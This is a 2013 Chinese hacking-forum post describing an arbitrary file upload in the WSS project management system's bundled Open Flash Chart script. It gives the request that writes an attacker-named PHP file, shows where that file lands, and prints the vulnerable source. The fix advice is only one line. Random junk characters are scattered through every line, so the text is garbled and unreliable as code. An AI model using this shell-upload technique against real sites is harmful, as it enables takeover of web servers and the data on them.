找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2079|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存
8 X, @# z3 J" m. y% ? 漏洞文件/chart/php-ofc-library/ofc_upload_image.php  |, }; ]+ B6 Z. b) q, X
; g! f& q- z. W1 r2 k! U
利用:; n+ L2 d( _+ x* C. j0 H' s  ~$ c7 Y
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
+ m1 ^  N) v" D  ~" N
0 b3 G7 u: N2 A9 \0 h: x; C& RPost任意数据
) E0 w7 A1 g2 d. ]6 s; }保存位置http://localhost/chart/tmp-upload-images/hfy.php
# _0 r0 R4 k" J8 y. K  J$ o9 F- f* |: y2 t  A

0 c2 A, x: C$ b2 z3 j最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
6 a6 d3 s* \4 ]( B9 ^* @  n. ]) ?6 V% b% T$ k- P
<?php5 J% a5 W; H2 @8 J; u0 o) _

( F1 R: s6 ~  _; O3 A5 x4 Y( N//
: k4 }2 N; ~5 C- S0 u// In Open Flash Chart -> save_image debug mode, you
, n1 g7 j' ]# S9 v// will see the 'echo' text in a new window.
8 V# D# T0 y7 z& X: P; l" e( N! V+ K//
: d8 K( u1 [5 h* r4 b% I' ?- a% c; r( _5 _
/*
( Y1 g: l! D; A
2 }1 G2 Q5 V4 N, D. eprint_r( $_GET );
" V+ X  N' S3 ]- }0 ?8 z% Sprint_r( $_POST );
$ t7 k" V4 m& Hprint_r( $_FILES );# c1 y- N! D$ [! b
6 l# L, Q& l1 U+ O5 x
print_r( $GLOBALS );, D% T- T# _* ^5 R, f
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );9 B& r5 d/ Q/ V2 ~6 N

; g( C8 \: F  g& U) Z; K# n, _*/
6 J+ m3 b4 G) _& r6 n9 s: O8 t// default path for the image to be stored //) o5 U1 r8 g& Y% @. {
$default_path = '../tmp-upload-images/';5 j/ a$ k2 i4 d  g
6 t# j. N' L. D; `% \
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
# Y# `# z' Y; ^5 n, }
* K( W" s+ \4 o1 G9 p& A$ k// full path to the saved image including filename //7 d2 Y) D( y; ?9 C; }" Q
$destination = $default_path . basename( $_GET[ 'name' ] );
0 y5 X; s4 G: L$ K- q, b1 D0 t! |$ T! A6 Q2 |$ R/ }
echo 'Saving your image to: '. $destination;$ L# ~" u4 h( @; u8 L# A! u1 y
// print_r( $_POST );% S4 t/ l! n2 _; v5 F* e0 @* z
// print_r( $_SERVER );
. z3 \+ h$ o  |& e4 F/ i2 b9 P// echo $HTTP_RAW_POST_DATA;, ]  a6 ?! G" V. @' l5 `0 O

1 o( y: _$ w: b" S& N4 Q//
8 u% X+ A; I5 X) l6 T/ F) |// POST data is usually string data, but we are passing a RAW .png
9 T6 ~, c# i; M// so PHP is a bit confused and $_POST is empty. But it has saved; _  x& O2 I. U2 E
// the raw bits into $HTTP_RAW_POST_DATA/ p6 Y6 C: }* y4 L) t
//
/ B0 y' h% E* q
9 y& }' }8 ]- p9 g) z' U$jfh = fopen($destination, 'w') or die("can't open file");
8 o, a3 S' h( z: _! Tfwrite($jfh, $HTTP_RAW_POST_DATA);
0 D+ O" [- t( x$ m- i: y7 [  R7 [fclose($jfh);8 L3 h- i  z  m+ r

& l% d4 y/ h2 S5 [4 j; R//
, P" |9 y$ Z5 k! U" o4 W9 I2 J: N// LOOK:
' u+ w4 N, C- O$ M7 [//
5 t1 k  Z/ D# S5 ]" n* s5 @/ _' bexit();
9 e  v  R7 q! _: t5 r/// \: }4 E) s" P* Q  k4 |
// PHP5:0 d0 a# W8 D9 b1 Y
//" N# [. g8 |5 f9 I& P
) S/ [% {6 p& U# H, n! v
2 y4 z2 Z# ]) {/ v
// default path for the image to be stored //
+ F+ r! o9 H. O; n$default_path = 'tmp-upload-images/';+ O$ M9 N1 q% `6 Z4 L

3 i1 B& t9 |& _  fif (!file_exists($default_path)) mkdir($default_path, 0777, true);8 e/ C1 O( R( G, j  Y* H

9 @( y& I9 I( ^& [. t) \// full path to the saved image including filename //
4 D: \2 X7 }4 A( z9 P% e$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
3 T! i' r+ t  A% U$ V2 `. x  I; Y$ a+ z& D2 b/ \8 G
// move the image into the specified directory //
* ]1 {$ r/ N0 @* c+ uif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {. L8 [1 U2 e& e( ~: V& ]) h7 z
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
5 y' x2 O$ w7 B* u8 k: l0 K} else {
8 P5 r2 ^/ @, }* a) {    echo "FILE UPLOAD FAILED";
; [" }$ a4 b# ]- o3 B; G; s4 r1 d}! `" B% q3 z7 b3 V" }5 Z

  s  r. B3 K2 _5 a& J  e) X. z6 w, T9 [, ~3 y
?>
! P3 |. g9 O6 p' Y1 }  ^  O3 o0 ?7 C
1 S8 U# R* j! }$ @' p

3 x! ^% D* {# b; }" t2 g+ A3 d2 C

  U$ u1 F" o/ v* _5 [& ]
/ r$ [2 z, h5 {/ S! \+ t修复方案: ( s, x2 t- q# ]2 C0 U, x$ V
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞 , r5 [5 ~; a$ ^! a
8 `1 |% P- f$ C; b5 Y
, r. E8 J1 H7 J' M1 f
2 s+ h" ~; f9 Z
# X/ c5 y) F  L+ C

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表